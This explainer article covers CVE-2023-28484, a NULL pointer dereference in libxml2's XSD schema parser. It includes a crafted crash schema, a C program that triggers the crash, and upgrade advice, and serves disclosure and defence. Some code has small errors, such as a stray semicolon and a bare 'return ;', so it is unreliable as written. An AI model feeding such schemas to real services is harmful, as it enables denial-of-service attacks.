CVE-2023-28484 is a security vulnerability in libxml2, a widely used C library for parsing XML documents. In versions before 2.10.4, parsing certain invalid XSD (XML Schema Definition) schemas can trigger a NULL pointer dereference, leading to a segmentation fault (segfault). The bug is found specifically in the xmlSchemaFixupComplexType function in xmlschemas.c. If an attacker could make your application process a malicious schema, they could crash it instantly.

In this article, we’ll break down this vulnerability—what causes it, how it can be triggered, and what makes it important—even including a sample exploit and mitigation tips. This content is original and written in simple, clear language.

Where is the Vulnerability?

The bug is inside libxml2’s schema parser. Basically, the code tries to “fix up” complex types (which are reusable pieces of schema), but if the schema is carefully crafted to be invalid in a certain way, the code ends up working with a NULL pointer that shouldn’t be NULL. When your code tries to access this pointer, the app crashes with a segfault.

This all happens in the function xmlSchemaFixupComplexType inside xmlschemas.c. Here’s a quick look at the relevant code (simplified):

// ... inside xmlSchemaFixupComplexType(xmlSchemaParserCtxtPtr ctxt, xmlSchemaTypePtr type)

// Let's say 'subtypes' is NULL due to invalid schema input
xmlSchemaTypePtr complexType = type->subtypes;
if (complexType->someMember) {  // <-- Oops, complexType might be NULL!
    // ... use complexType
}

As you can see, if complexType (type->subtypes) is NULL (which ideally shouldn’t ever happen with correct input), the code will crash when trying to access its members.

Here’s the official commit that fixes the bug.

How to Trigger CVE-2023-28484

To exploit this, an attacker needs to get their crafted invalid XSD schema file loaded by any software using a vulnerable version of libxml2. Common targets could be web services, document processors, or any program using libxml2 for XSD validation.

Here’s a minimal *malicious* schema example, based on what researchers and the patch show

<!-- crash.xsd -->
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">;
  <xs:complexType name="A">
    <xs:complexContent>
      <!-- Extension to a non-existent complex type triggers the bug -->
      <xs:extension base="B"/>
    </xs:complexContent>
  </xs:complexType>
</xs:schema>

This schema defines a complex type "A" that tries to extend another type "B" that doesn't exist. When libxml2 tries to resolve "B" and fails, it leaves some data members NULL. Later, the code assumes those members exist, leading to a NULL dereference.

Here’s a simple C code snippet that demonstrates the crash (DON’T do this on production systems)

#include <libxml/xmlschemas.h>
#include <libxml/parser.h>

int main() {
    // Load the crafted schema
    xmlSchemaParserCtxtPtr ctxt = xmlSchemaNewParserCtxt("crash.xsd");
    xmlSchemaPtr schema = xmlSchemaParse(ctxt);

    // Free resources, if we got this far
    xmlSchemaFree(schema);
    xmlSchemaFreeParserCtxt(ctxt);
    return ;
}

The above code will trigger a segfault in libxml2 before 2.10.4 when processing the malicious crash.xsd file.

Denial of Service (DoS): Attacker can crash services parsing untrusted XSDs.

- No RCE: This issue does not lead directly to code execution, but denial of service can be critical in web, cloud, and embedded environments.

Who is at Risk?

*Any* application or service using libxml2 < 2.10.4 that parses/validates attacker-controlled XSD files. Many programming languages and libraries (like Python's lxml, XML processors in C, potentially Java or PHP when linking to system libxml2) could be affected indirectly.

References

- CVE-2023-28484 at NIST
- libxml2 Source & Advisory
- libxml2 News and Releases

Mitigation and Fix

- Best fix: Upgrade libxml2 to 2.10.4 or later. All major Linux distributions have shipped patches—update your system packages.
- Workaround: Never parse untrusted XSD. Prefer isolated processes or sandboxes if you must. You can also pre-validate schemas offline or restrict what schemas are allowed.

Conclusion

CVE-2023-28484 is a classic example of how parsing edge cases, even in mature libraries, can become crash vulnerabilities if not carefully checked. If your application uses libxml2 to handle XSD schemas, patch right away and consider what other XML features you might want to disable or sandbox. Never trust input that can crash your service!

For further details and updates, check the official libxml2 repository.

Timeline

Published on: 04/24/2023 21:15:00 UTC
Last modified on: 05/03/2023 20:23:00 UTC